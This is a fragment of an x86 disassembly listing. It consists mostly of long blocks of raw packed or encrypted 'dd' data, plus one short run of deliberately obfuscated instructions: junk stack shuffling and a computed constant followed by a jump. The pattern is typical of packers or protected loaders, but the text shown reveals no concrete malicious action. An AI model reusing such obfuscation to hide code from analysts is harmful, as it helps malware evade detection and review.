		dd 0C6EA6E4Bh, 1D98B6B5h, 1BAB69EDh, 0CFFA81BCh, 0CD7CB9D2h
		dd 464BA0C0h, 44AB30C2h, 467503E2h, 1BA4880Eh, 76B73D79h
		dd 4BA074DBh, 0BBD0F458h, 0A074CF7Ah, 32C0444Bh, 767A3471h
		dd 8FF3518Ch, 5D69F08Bh, 64AE2A22h, 0B0CBB150h,	73050645h
		dd 0A5215954h, 6D027381h, 8657BFA7h, 0D3F58A82h, 0B9CB54D8h
		dd 0B91B9FD5h, 3FC16648h, 702A033Eh, 6ABC8077h,	0C0996432h
		dd 0EF1F039Fh, 0D31ED04Eh, 0BFD681C4h, 0B0F7E80h, 1B336A9Ch
		dd 3F4F4644h, 5F6F1E20h, 738B0200h, 7EA6DFECh, 8FB07A91h
		dd 9ED649A0h, 82A2DD03h, 0B845DBCAh, 42D49101h,	3456050Fh
		dd 182AB579h, 636739Eh,	5C6E9E82h, 3, 67A68CDAh, 7B043467h
		dd 253A5249h, 15E6E29h,	0EE718904h, 0D5AAA2DFh,	0BCC3FBB6h
		dd 98E7178Eh, 4718306Dh, 1F275746h, 5585450h, 4, 8704E883h
		dd 685C2404h, 11ACh, 56240489h,	0C681E689h, 4, 8704EE83h
		dd 895C2434h, 0BF57243Ch, 3ECE63ADh, 0E991E5B8h, 8BF82944h
		dd 0C483243Ch, 3C8B5404h, 4C48324h, 4EC81h, 4890000h, 8478F24h
		dd 52243C8Bh, 0C281E289h, 4, 4C281h, 14870000h,	34FF5C24h
		dd 0C4835824h, 3E2AE904h, 0B89FFFF9h, 61B4244h,	0E0FFC503h
		dd 47BEB2ADh, 77FDFFDFh, 50AA1563h, 31DC9F1Dh, 6E3A8EFEh
		dd 0EAAE093h, 4133D3C1h, 49D5E13Dh, 6A84E030h, 42D1824Bh
		dd 7DBA6D57h, 14B2FA24h, 2545E4C1h, 240074A8h, 71A87D4Ch
		dd 7F1DCC51h, 546CE16Dh, 5A1893F3h, 75877143h, 54B56745h
		dd 6BFC25CDh, 84985C6h,	68560614h, 0A9C530DFh, 2C65B5FFh
		dd 858D0614h, 61778FEh,	8D8DD0FFh, 6142641h, 0FF406A51h
		dd 1402ADB5h, 0C9B5FF06h, 0FF061415h, 0ADB5FFD0h, 0FF061402h
		dd 1415C9B5h, 0BE806h, 4200000h, 8D1E66E5h, 0CC306876h
		dd 8358588Bh, 2CC104E8h, 24C10224h, 4030224h, 241CF724h
		dd 68h,	34FF5A00h, 0EB815B02h, 691ABE7Eh, 3ECDF381h, 0EB811ED6h
		dd 538AEF6Fh, 10048F53h, 3B04EA83h, 850F2414h, 0FFFFFFDAh
		dd 122D9D8Dh, 38B0614h,	840FC00Bh, 7, 5B8B038Bh, 8B188904h
		dd 3E8D8DC9h, 6A061B44h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0FCCCC350h,	0EBE08166h
		dd 698D89E5h, 8006142Bh, 85C7DCF0h, 6141055h, 5DDCh, 0C7F38B66h
		dd 14013D85h, 6, 0B3E48000h, 0D09B5FFh,	0FFF90614h, 140BD995h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 268F0344h, 9FBBE259h, 6A28BCE1h,	7195FF00h
		dd 8B061429h, 144CEBC0h, 0E474EDE1h, 0B7A24556h, 6AA5D88Eh
		dd 0AAD96CBCh, 4DD75CD0h, 13CC381Dh, 360E4BF9h,	20169E43h
		dd 86A4974h, 0C84C7151h, 8BD08FDDh, 635F0B1Fh, 0C8A9CF9Dh
		dd 0EC504390h, 0A3D368DFh, 0AB9AAC8Eh, 61FF270Ah, 6429B214h
		dd 0E88BEFFBh, 9, 385E1235h, 0D4589097h, 1B8C0F8Ch, 52000000h
		dd 13E8h, 0E952B600h, 7CBCDA8Eh, 6E960616h, 0BA91287Eh
		dd 0C83D4961h, 295F5859h, 140FF5B5h, 0E4C78106h, 0E900005Eh
		dd 13h,	40D8C399h, 0B6F28352h, 0CA05462Eh, 53BB3F27h, 689F2AD7h
		dd 1779h, 3823B85Eh, 1F8B3EA0h,	2511BD31h, 0EB810614h
		dd 724065FCh, 0FE9h, 0DD598B00h, 5358A516h, 0DFC278C2h
		dd 0FCC8E56Eh, 68C5C381h, 3BBA2AE2h, 8144BB5Bh,	0D8BAD2EBh
		dd 53E18A1Eh, 2DF7C081h, 78F09CBh, 58C0Fh, 81660000h, 833B0AF0h
		dd 296004EFh, 140F2185h, 0DE906h, 1AFA0000h, 37D3DCBAh
		dd 0E28CCAE8h, 61D94EDFh, 1EE81h, 850F0000h, 22h, 0B850Fh
		dd 850F0000h, 5, 130394B9h, 22E931h, 53000000h,	0CBB785CAh
		dd 0CFFFD56Dh, 0EB8ABA7Bh, 0FFFF65E9h, 0FEE225FFh, 0C9091C0Ah
		dd 201B8E6h, 0A6122D19h, 8E8h, 0DC7CE200h, 0C0625C8Dh
		dd 0BE94Eh, 0B8BB0000h,	3FB2DABCh, 0F28A5F9Ch, 0B5895A97h
		dd 6141299h, 655BC281h,	0C28A0000h, 192F68h, 5EE68A00h
		dd 1A8BAAB1h, 13E9h, 2B11400h, 0FA455EE9h, 67FD1555h, 0D18293B1h
		dd 20FB675h, 3F2CF381h,	0F381792Ah, 429E063Bh, 0D9816651h
		dd 815F1887h, 0A49399F3h, 0C810F35h, 0F000000h,	68Fh, 0D9852300h
		dd 53061434h, 4CAFCF81h, 28F6D20h, 83FBBF0Fh, 8D8B01EAh
		dd 614297Dh, 2B4A4A4Ah,	1418E58Dh, 1EE8106h, 0F000000h
		dd 0FFFF9185h, 96F580FFh, 47718D8Dh, 6A061Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 4AF39EC3h
		dd 4BAB297h, 0BF0FE337h, 698D89D7h, 6A06142Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 6F6EC351h, 0B8664197h, 85C71C81h, 6141055h, 5D3Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0CDC35141h, 2C2E3CCDh
		dd 0AD99589h, 0BF660614h, 85C79230h, 614013Dh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0ABC35040h
		dd 4B1B5FFh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 343C93C3h, 6D01DDD2h, 13E9A3h, 19A90000h
		dd 0CA8E59BAh, 78F52872h, 2F945ACFh, 44698A04h,	0D995FF37h
		dd 6A06140Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 1A41C352h, 890FED7Fh, 0Eh, 25958B60h
		dd 3106140Ch, 14106DB5h, 6A6106h, 297195FFh, 0C08B0614h
		dd 71447CEBh, 80A7FEC9h, 0F014CF32h, 75DEFB95h,	0C47D2A0Dh
		dd 0E37094B5h, 8205CEB2h, 84663BC3h, 0D044748Dh, 9C7216h
		dd 64B8538Eh, 2C587858h, 6F2ED1EDh, 81B866D7h, 50EF84Ch
		dd 315C2AC2h, 0BBADC689h, 0F61485E9h, 381EEBF7h, 0DEEB9D7h
		dd 19532515h, 95177A3Ch, 30FCFD48h, 39D4F350h, 8326690Ch
		dd 98DFDC66h, 7C1F66C4h, 0AECEADEBh, 874F59BDh,	0D9A354C7h
		dd 0D857EFB7h, 0AE97864h, 0F8000000h, 2ABEE9h, 0
		dd 4C1E900h, 18680000h,	0E9061B49h, 0FFF938D0h,	1B499068h
		dd 38C6E906h, 0DB68FFF9h, 0E9061B4Ah, 0FFF938BCh, 0C4484343h
		dd 0AF732A5Bh, 94981530h, 8286FD0Bh, 67ABE6E5h,	4342F0E4h
		dd 305DCA4Eh, 1A36B175h, 0FA0C9B9Fh, 0AF127F83h, 0EBDA330Eh
		dd 9903B055h, 5356867h,	0A0AE487Ah, 4D71D5E5h, 9EABB2C9h
		dd 0A173D7E7h, 7388FC0Dh, 8F279AE5h, 5CD65F8Fh,	0EC28C263h
		dd 7DC149DCh, 0E752D34Eh, 7C55E432h, 39AA1A18h,	1F8EBFCEh
		dd 0D7626BEFh, 0C755E432h, 9DE1D5C8h, 32272697h, 1AC555E4h
		dd 1F2138F3h, 3AF85C6Ch, 0A92C8856h, 2E8168Bh, 1E820000h
		dd 2A5EAF59h, 5B6C4311h, 82F1C3D9h, 9CF63770h, 9549DCC3h
		dd 9FDB58B1h, 1C561985h, 3C0FA8CDh, 0B7508A84h,	219CAFD3h
		dd 58702D5Ah, 0CF4736FCh, 674AA678h, 0B098ABF4h, 371B5A7Eh
		dd 898185FDh, 7784F011h, 527CC136h, 37561540h, 0C448B87Ah
		dd 0E796A8B7h, 0B828423h, 8C32F804h, 210885Fh, 30Ah, 0D85C4F7Fh
		dd 0CB4F3E4Fh, 0B074315Ch, 9E621937h, 8B8F0201h, 67662C00h
		dd 4C79E62Ah, 3652CD51h, 1628B77Bh, 8BF6A367h, 0EBDB1F2Ah
		dd 0B57F9455h, 0E01B6180h, 0DB2AFD47h, 0B5E07649h, 59569CEDh
		dd 4DB8D3F7h, 0E2E655D2h, 197D55EBh, 4845441Bh,	0DB44B7C4h
		dd 55EBE268h, 31494440h, 979DE1D5h, 0A4D4C9F8h,	0EBE23B05h
		dd 0B2E91B55h, 131F6B6Dh, 87950569h, 292h, 60A4D7F7h, 53D7C6C7h
		dd 38FCB9D4h, 26EAA1AFh, 13178AB9h, 0EF1EA488h,	0D4F16EB2h
		dd 0BECA55D9h, 9EA03FC3h, 0F34E2BEFh, 0EBDB87B2h, 0CDF71C55h
		dd 0E01B6180h, 7376A99h, 0DB367183h, 80A8384h, 0DB2AB78Dh
		dd 20583C49h, 0EBDABE81h, 306D9E55h, 52494718h,	56BD223Ah
		dd 55651837h, 7590CDF1h, 0D10EDC1Eh, 9FA88BAFh,	4000001h
		dd 84216567h, 53F092B5h, 16264ACEh, 37443749h, 93E85BC4h
		dd 0C3C053F0h, 8092F6CAh, 22ADBBD0h, 7398374Eh,	907145CFh
		dd 8456D7E4h, 6D49DC6Fh, 808BD2E9h, 8391F505h, 8FBB8223h
		dd 625955E4h, 8F9BB6F7h, 341855E4h, 27FA11FEh, 0A0762758h
		dd 3A64F84Dh, 4911E3F9h, 8BA916A3h, 2833h, 6180F900h, 7CABE2E0h
		dd 0A327574Eh, 33238CBFh, 4C49DC6Ch, 0CE71B0C8h, 2C55E49Ch
		dd 6288CA21h, 7C8BA89Ah, 0A1h, 366567B8h, 4D484605h, 6B5BD93Dh
		dd 83B8F514h, 0FB1BAEF5h, 56DC1E0Dh, 84F70956h,	0A2D9EB74h
		dd 0FCB1D2A9h, 623B8236h, 4653F0A6h, 22324944h,	6D8D0F1Eh
		dd 0C276BC03h, 265523C2h, 0DFDF07F9h, 0F3080C49h, 0DC205D6Ch
		dd 0C6494443h, 6917C3CEh, 475466D6h, 0BC000001h, 920D118Ch
		dd 6FF83C71h, 7AE52964h, 52CD514Ch, 31BA7E33h, 0E598B71Fh
		dd 0C898621h, 38739F08h, 22596BF4h, 0EF48B3DEh,	55EBD85Ch
		dd 8B78BCD7h, 48DED7F4h, 0F63AF31Fh, 0EDD5715h,	0E17E82FFh
		dd 1368ACDFh, 0CF45404Ch, 36656745h, 54477906h,	2B51B0D0h
		dd 0ED4AA510h, 53F0925Eh, 32A371D5h, 49DC2C0Ah,	0F1888387h
		dd 24A0D8D3h, 0C33168F2h, 63B184EAh, 970A3940h,	0FF73CA93h
		dd 315355E4h, 0FF0F8281h, 0C44779Bh, 861B29B0h,	8B4FC52Eh
		dd 291885F0h, 855E4CBh,	5B336560h, 4ACE82A5h, 0B9F413C8h
		dd 0BB961782h, 3855E41Eh, 0DCEEDE54h, 92h, 0C2CB95E3h
		dd 5B25FAE0h, 618057D9h, 8147E01Bh, 7A49DB2Ah, 6799E616h
		dd 5577F034h, 0D9F1ACDDh, 0B722597Dh, 0EBDADB76h, 0D9D4F355h
		dd 139361E5h, 55BFA792h, 0ACC3ACA9h, 0AA990671h, 8261307Fh
		dd 0D0B40885h, 7B8D42h,	2A6163FCh, 443F4D12h, 0A1B8D334h
		dd 80FB179Fh, 0D0E80C88h, 0BAD1BE74h, 0CBF9798Bh, 42661D2Bh
		dd 66AACE4Ah, 0A4D4C7F9h, 1D96h, 0A5AFA500h, 0B8478E03h
		dd 0E060C56Eh, 1236736Dh, 0F48B1E00h, 6A2521D3h, 40D23646h
		dd 6767B260h, 497B0434h, 29253A52h, 4015E6Eh, 0DFEE7189h
		dd 0B6D5AAA2h, 8EBCC3FBh, 6D98E717h, 46471830h,	681F2757h
		dd 2031h, 68240C89h, 3D0Dh
		db 89h,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	ecx
		mov	ecx, 302D70FCh
		dec	ecx
		add	ecx, 0EC5A72Ch
		mov	eax, ecx
		pop	ecx
		neg	eax
		shl	eax, 7
		add	eax, 777071C4h
		sub	eax, 0F7C91620h
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		push	eax
		pop	edx
		mov	[ebp+8], edx
		pop	edx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		dd 69FF5F37h, 360F2AE7h, 0B8FC6952h, 61B4C47h, 0E0FFC503h
		dd 31D62F80h, 454D8E37h, 63DCF18Fh, 13A52CAAh, 21F841B6h
		dd 4FCB0D96h, 51AE251Eh, 78DBAE7Dh, 5DCCC050h, 36A6EFC6h
		dd 38C13DF6h, 8E8h, 82750500h, 113F9DD3h, 6E95855h, 0C1000000h
		dd 0EB80DE3h, 0CBC081C5h, 53000059h, 7026DA81h,	0BE5A7234h
		dd 0A9291D1h, 7B8DEE81h, 0D3810A92h, 795A938Ch,	0D08B388Bh
		dd 0E75CC781h, 0EE95610h, 0BC000000h, 74EFDE15h, 0F629A4FEh
		dd 346BC3B2h, 7DF78133h, 663C2FB0h, 0B542F381h,	8616EF81h
		dd 0E5B70BE5h, 5BF85657h, 83F9008Fh, 0E18102E8h, 0FCBB020h
		dd 83F54848h, 850F01EEh, 10h, 39E9A0B3h, 44000000h, 0E0F27D60h
		dd 0E048722Ah, 12E8h, 0D7F3A100h, 0E1BA11CAh, 69F9119Bh
		dd 75538129h, 0F9578460h, 0FF86E959h, 18FFFFh, 27ED122Ah
		dd 4972E558h, 70DF84A8h, 7CFFCC44h, 0CE8h, 3CE51A00h, 0CF711286h
		dd 29112B5Dh, 0AE959h, 6BD40000h, 1C6792D7h, 0E3F30DB4h
		dd 7E95Fh, 82AB0000h, 3BF1C4F9h, 55C781ECh, 0B5000064h
		dd 0FD233A2h, 68Ah, 0BDD88100h,	8B2CABF2h, 0EB81171Ch
		dd 33A8B8F8h, 69C381F8h, 0F6A6B48h, 389h, 3BC18000h, 2EFAC381h
		dd 53F901C3h, 0CE8h, 0D2434A00h, 0B70C3F22h, 89A4DEC8h
		dd 0BE813h, 0DB3B0000h,	601D4FBh, 0AB46DC1Fh, 2720B876h
		dd 585E75E1h, 8B17048Fh, 0EA83F5F7h, 0BE804h, 18CF0000h
		dd 5D74E462h, 2F84F8B2h, 0C18150F4h, 5951992Dh,	0FA815E59h
		dd 0FFFF9C60h, 0FF89850Fh, 0B966FFFFh, 0C08B46B5h, 10F1BD83h
		dd 75000614h, 25BD8309h, 6140Eh, 53501974h, 21B8C08Bh
		dd 89000004h, 14181985h, 529D8D06h, 0FF0616A7h,	83585BD3h
		dd 140E25BDh, 17740006h, 21B85350h, 89000004h, 14181985h
		dd 419D8D06h, 0FF0616A4h, 8B585BD3h, 0B59D8BC0h, 0C6061423h
		dd 14084985h, 52685606h, 0FF9CA8B8h, 142C65B5h,	0FE858D06h
		dd 0FF061778h, 68046AD0h, 1000h, 25D9B5FFh, 6A0614h, 0C085D0FFh
		dd 0D850Fh, 0B80000h, 8D000000h, 1472AF8Dh, 8BE1FF06h
		dd 3C38BC8h, 0F8053C40h, 8B000000h, 0D3030C50h,	122DBD83h
		dd 0F000614h, 0E84h, 2D9D8B00h,	8B061412h, 141C2985h, 51038906h
		dd 49858D52h, 0FF06147Ch, 8BFA8BD0h, 8BD18BF1h,	0C6A4F3C8h
		dd 14084985h, 39685606h, 0FFD41F6Dh, 142C65B5h,	0FE858D06h
		dd 0FF061778h, 800068D0h, 6A0000h, 8BD0FF52h, 0F1BD83C0h
		dd 61410h, 0BD830975h, 6140E25h, 50197400h, 0B8C08B53h
		dd 421h, 24F18589h, 9D8D0614h, 616A7B9h, 585BD3FFh, 0E25BD83h
		dd 74000614h, 0B8535017h, 421h,	24F18589h, 9D8D0614h, 616A45Ah
		dd 585BD3FFh, 9D8DC08Bh, 614122Dh, 0C00B038Bh, 7840Fh
		dd 38B0000h, 89045B8Bh,	4B41B818h, 0FE80000h, 0F3000000h
		dd 71C02BA6h, 716B6E0Dh, 0AA581646h, 666076E9h,	0FCA5EB81h
		dd 98D091B9h, 0E85B6143h, 0Dh, 6F437DA3h, 124EB6D2h, 85998849h
		dd 0F6B70F44h, 79C38158h, 33000071h, 10E9C9h, 0F1A10000h
		dd 46B815EEh, 6F4236FFh, 0DDB6A3BBh, 34FF615Dh,	0F2B70F19h
		dd 0A7C7815Fh, 6627437Ah, 0B8BDE281h, 804EF781h, 0BF0F02A1h
		dd 0F1EF81F2h, 0F43E092h, 1284h, 0DE900h, 443A0000h, 4D8FF04Eh
		dd 93C61745h, 57D99B29h, 0DE9h,	4FF69C00h, 95A243DAh, 3B3EFBB5h
		dd 48F5753h, 0DE80Bh, 7F4B0000h, 0B0B1F294h, 0E64948A1h
		dd 5A6C4F38h, 0F804E983h, 8F74F981h, 850FFFFFh,	19h, 29E9D48Ah
		dd 58000000h, 3C5D26DBh, 6C53225Eh, 46DF6AC6h, 2BA31E64h
		dd 0FF70E92Fh, 0B548FFFFh, 80893330h, 2B8B5C44h, 0DFEB86F7h
		dd 9DA8C8D1h, 0BE8h, 8E48600h, 459FEE9Bh, 47A7CBA1h, 59D98B66h
		dd 0E668C181h, 0B8660000h, 682CB3h, 0B8000000h,	183A9182h
		dd 8BD38B5Eh, 55BB313Ch, 815D9B75h, 9B5E33C7h, 0D5EF8163h
		dd 0BB2A3B27h, 1F5465B9h, 7DE5C781h, 0C1BA3EC1h, 890F0C63h
		dd 0E960313Ch, 0Fh, 0B093BF31h,	50CAB4F3h, 5942704Dh, 0F487DC6h
		dd 0F61FAB7h, 0EE83D7BFh, 81FCB204h, 0FF1A14FEh, 0AC850FFFh
		dd 81FFFFFFh, 9B0F5AD3h, 3BE964h, 8B600000h, 140C01BDh
		dd 4EF8306h, 0C18BC933h, 0B88320BBh, 4C783EDh, 8BEh, 1BE8D100h
		dd 33D323D2h, 850F4EC2h, 0FFFFFFF1h, 81078941h,	100F9h
		dd 0D3820F00h, 61FFFFFFh, 8DC88BC3h, 1B526F8Dh,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0BD8BCB16h, 614076Dh, 2B698D89h, 6A0614h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0BE6824C3h
		dd 0BB9C14BBh, 0EBA6642h, 5585C74Ch, 0B4061410h, 6A000073h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0DA33C353h, 832D30EFh, 79D9523h, 85C70614h
		dd 614013Dh, 0
		dd 0D2D9531h, 0B5FF0614h, 61411C9h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0B7C35141h,	0AFCF73A7h, 0CB816606h
		dd 95FFF393h, 6140BD9h,	95FF006Ah, 6142971h, 1FEBC08Bh
		dd 0C3F95BA0h, 0C3DACFF8h, 7A9B3493h, 9148591Ch, 1D89465Ah
		dd 597CB59Ch, 88056CE8h, 0E9EAF165h, 18h, 11D2F051h, 5 dup(0)
		dd 520E9h, 0FFB2D200h, 0E29BAC3Bh, 0B86811Eh, 336A9807h
		dd 5C5170EFh, 0C97953D8h, 0A443C7BAh, 0BD2AEEA7h, 95121691h
		dd 99F43873h, 0C0B68522h, 86CD55EBh, 36656702h,	4E4B4605h
		dd 6867F8C4h, 4A470635h, 55DF3B53h, 8D00029Dh, 0ADE0E27Dh
		dd 0CCC1C29Dh, 0D83F98BCh, 20E497A9h, 0C108B87h, 0C3C7793h
		dd 5E78C99Fh, 9466CDD9h, 0C9C4C19Eh, 0E09DAEB1h, 17C97E8h
		dd 87EE7109h, 56BD9C83h, 9C601B37h, 71F999EFh, 0F80123DAh
		dd 2863653Ah, 0FAAD9110h, 0FD9253F0h, 8F289B96h, 53F0FABCh
		dd 0B9D45337h, 84AA36FCh, 128594F4h, 3Eh, 3665679Eh, 929AA706h
		dd 2A9953F0h, 41793453h, 2EE28537h, 0B4D8041Bh,	787A917Eh
		dd 8594B9B2h, 1CCh, 6667E800h, 47780737h, 2B592656h, 533C5870h
		dd 81FC0D3Ch, 0ADE0E27Dh, 6867AB69h, 497A0535h,	76512754h
		dd 7BBFD393h, 7708B47Eh, 0BA29215Ch, 0F010CE7Dh, 26C14553h
		dd 0AA5C6C29h, 0CAC7066Dh, 0BAD9AFD3h, 1D88D853h, 97E9B4E7h
		dd 1C2BE032h, 29D61h, 7F0E7D8Dh, 3D85A51h, 207D8D08h, 6E8CCE25h
		dd 68859548h, 89h, 0D7F48B44h, 0E82AAEDEh, 62991433h, 84B4EF1Bh
		dd 0ADB2F200h, 0B3D7E7A2h, 6F9EADC4h, 43421932h, 930CC44Eh
		dd 7E013974h, 98255550h, 26C4167Dh, 5085948Bh, 0EC67C500h
		dd 20F220A9h, 7947h, 68676D00h,	4E7A0535h, 23243B53h, 0FB0D526Ah
		dd 315E8880h, 6F94A2DAh, 0AF497837h, 8CC4B78Bh,	0F05BCE70h
		dd 41846559h, 6131C157h, 264D12E0h, 0A355740Bh,	7BDFEFA6h
		dd 0FF0EDD57h, 911E8982h, 53F09AA2h, 23D75D21h,	0C56667D1h
		dd 0C0CE709Dh, 5D6D9189h, 0F07062DCh, 49444053h, 95222E31h
		dd 70F7E1D2h, 9BB3D789h, 6CB6DD3Ch, 0AEACC3ACh,	85953C80h
		dd 11Eh, 6C679A00h, 0D3AA1931h,	50C3FBB2h, 0F09264D7h
		dd 779BFF53h, 0E9E19CA8h, 0D6E8A76Dh, 0B8D594A7h, 107737FDh
		dd 90BBCA21h, 90711115h, 856D7E4h, 0E949DC62h, 0F80A5565h
		dd 0E4E68185h, 5B2291A9h, 0C246762Dh, 82F84530h, 44F355E4h
		dd 0B1EC1E2Dh, 5EECCA9Ah, 0DC8F054Fh, 0FB354Ah,	4AC82E8Fh
		dd 0BCEF118Eh, 0CDD1F38Ch, 0E493D160h, 0CAEE5255h, 0E5A0ADB2h
		dd 177D8AD5h, 0E493BB96h, 30543855h, 0CC236C18h, 491F7046h
		dd 0BFCA8A76h, 0D84ECAC2h, 0C8FF2D54h, 38C7DACh, 2FE53B5Fh
		dd 0A4451CDAh, 88EF8C86h, 27544779h, 79882A58h,	6C90F404h
		dd 9846F2A6h, 268BA909h, 14Ah, 1B6180F2h, 79FD90E0h, 5FFA0CD4h
		dd 0E15818EBh, 74BEA219h, 0F36CEA4Bh, 968549DCh, 0E4F73A09h
		dd 1F2EB955h, 0CAEE6A62h, 262596A6h, 0F85C6C29h, 241E1126h
		dd 21F380AAh, 0E125586Ah, 32494446h, 0AC661D2Bh, 4E3D4F10h
		dd 0C897883Eh, 0F948D5BBh, 7A55E42Bh, 7EDAF216h, 6DC0D7B4h
		dd 2B86B5F2h, 99B655E4h, 1468EC1Ch, 1B2DE230h, 0F9146B60h
		dd 0D2F38CBCh, 327A3DBh, 479541F1h, 578BA945h, 44h, 1F65805Dh
		dd 929043ECh, 0EF53D3F0h, 0EC1D6CDFh, 0C77263B1h, 0F0D3F092h
		dd 5615086Fh, 0C4407835h, 1793764Eh, 927E4255h,	2C5F43C8h
		dd 0F023D083h, 1C2F1353h, 0D946414Dh, 7DD9F1ACh, 832903B7h
		dd 47000000h, 0E01B6180h, 2C83FF75h, 9169D845h,	66EA53F0h
		dd 47D71EB0h, 0C206C0CDh, 9BFF49DCh, 4CEA1960h,	0D55F433Ah
		dd 2E7496E9h, 0E422B281h, 294D3155h, 0B6D796E5h, 6C9E4DC7h
		dd 42431A31h, 5DD7334Bh, 237CC061h, 0DA7555E4h,	3B7294B3h
		dd 0A7E8FF7h, 105A63F1h, 4BC4ECF3h, 16B1FEC9h, 0AD4FCF0Ch
		dd 0BCCE91A9h, 94B6C9C1h, 709EE119h, 96410535h,	0A594BB7Fh
		dd 4309D84Eh, 0A1C8EF48h, 1F6345F4h, 6180D91Bh,	6047E01Bh
		dd 9B49DB21h, 551487B7h, 3F407833h, 0BF759914h,	6BAFDEE0h
		dd 0BBD3CAFCh, 0B199E27Ah, 0F910FFBDh, 133EB8CAh, 0E9E26696h
		dd 1469FD4Ch, 0EE12764Eh, 108BBD2Ah, 326967F8h,	0BED6AE19h
		dd 0B98B95AFh, 7DB88BD2h, 573B4E14h, 0B766E1DDh, 6C1F2160h
		dd 9E0D3FA8h, 85C6Eh, 8CDA0000h, 4944401Fh, 676741CBh
		dd 497B0434h, 29253A52h, 4015E6Eh, 0DFEE7189h, 0B6D5AAA2h
		dd 8EBCC3FBh, 6D98E717h, 46471830h, 511F2757h, 0C181E189h
		dd 4, 8704E983h, 248B240Ch, 37EC6824h, 2C890000h, 0C656824h
		dd 0C890000h, 58A3BD24h, 0BA525054h, 3F1B15ABh,	0F75AD521h
		dd 6EDC1DDh, 0F581D5F7h, 0FA5B12F7h, 4EC81h, 24890000h
		dd 24048124h, 4, 8BB5359h, 1000000h, 0B951CBh, 1000000h
		dd 592989D9h, 240C8B5Bh, 81E18951h, 4C1h, 4C18100h, 87000000h
		dd 8B5C240Ch, 8953242Ch, 4C381E3h, 83000000h, 1C8704C3h
		dd 15E95C24h, 0C2FFF929h, 0F0B42146h, 638E50F5h, 573BB8C2h
		dd 0C503061Bh, 850FE0FFh, 37317888h, 765A6DF0h,	6166559Ch
		dd 0EE452B2Dh, 5AB2411Dh, 7F701B8Ah, 981125CFh,	2CE058B2h
		dd 0CA13258Ch, 1F8D5021h, 59996655h, 74103696h,	0F29B10C7h
		dd 3C1616DEh, 209B4505h, 62C5859h, 0FBC66549h, 0E12A5D26h
		dd 0F7867EDh, 0BB1A7C15h, 773055ABh, 0E72E4487h, 9B9825D3h
		dd 0ACAD2CF6h, 0AD8D7656h, 438326EFh, 35D71D9Fh, 0BE8757Bh
		dd 95000000h, 0CC68D261h, 4404D1A3h, 9E97D60h, 0BE000000h
		dd 0B636FBEDh, 0EC647C4Ah, 0F281665Fh, 0C7815555h, 6CEDh
		dd 0E98CB850h, 33582283h, 8BDC8AF6h, 8060370Ch,	0F28B58CBh
		dd 76F18161h, 800A712Fh, 0E98117C6h, 317F7EA5h,	0E774EB81h
		dd 0E98128C2h, 55827078h, 815126B2h, 88FE06C2h,	37048F50h
		dd 0B840Fh, 0F600000h, 8A0FD6B7h, 0
		dd 5800F61h, 66000000h,	9FEACB81h, 0B302EE83h, 8B4E4E44h
		dd 0D4FE81D6h, 0FFFFF93h, 1785h, 0C0BF0F00h, 2BE9h, 580F6C00h
		dd 0C8CD013Dh, 55B9FCD4h, 0F7AA0652h, 58C28B52h, 0FFFF7EE9h
		dd 0D6F4C6FFh, 39FBAE64h, 0E2D20359h, 23D5F975h, 491A83FAh
		dd 16EBh, 4 dup(0)
		dd 1010000h, 3B4h, 9D8B061Bh, 6141E95h,	7E950h,	0E4010000h
		dd 16F2230Dh, 2404896Ch, 6AFA8Bh, 8CDF8166h, 6A006A6Ch
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 1B62C351h, 9DF6CAAAh, 858D1724h, 61B59D1h
		dd 5017F380h, 4894AB3h,	58C98124h, 6A377228h, 0CFD28100h
		dd 6A7549C0h, 0CCBA6600h, 1995FF1Eh, 8B06141Bh,	1400D19Dh
		dd 4CDE906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 28D1BFC3h, 8B80B0EAh, 0E8CFh, 815D0000h
		dd 1B59D6EDh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0FE9F7h, 66B60000h, 222E5AE9h, 6022CD03h
		dd 60B578ABh, 18BB66C4h, 5820FA0h, 0B9000000h, 7B9AFAD7h
		dd 7363A768h, 8142B106h, 6C072434h, 8B600673h, 1413098Dh
		dd 0F1858B06h, 6106141Ch, 297195FFh, 6A0614h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 9CA831C3h
		dd 8DA64D56h, 1B591AB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 9D8B6F3Ah, 6141B01h, 655206C7h
		dd 8D8B6D67h, 6141269h,	1FF58D01h, 46C70614h, 636E6F04h
		dd 51BD296Ch, 0C7061410h, 73610846h, 958B0073h,	6141609h
		dd 188E0Fh, 0E8600000h,	0Ah, 0B8125759h, 0D52C608Dh, 895E86B8h
		dd 1434918Dh, 6A6106h, 1A858DF8h, 6A061B59h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
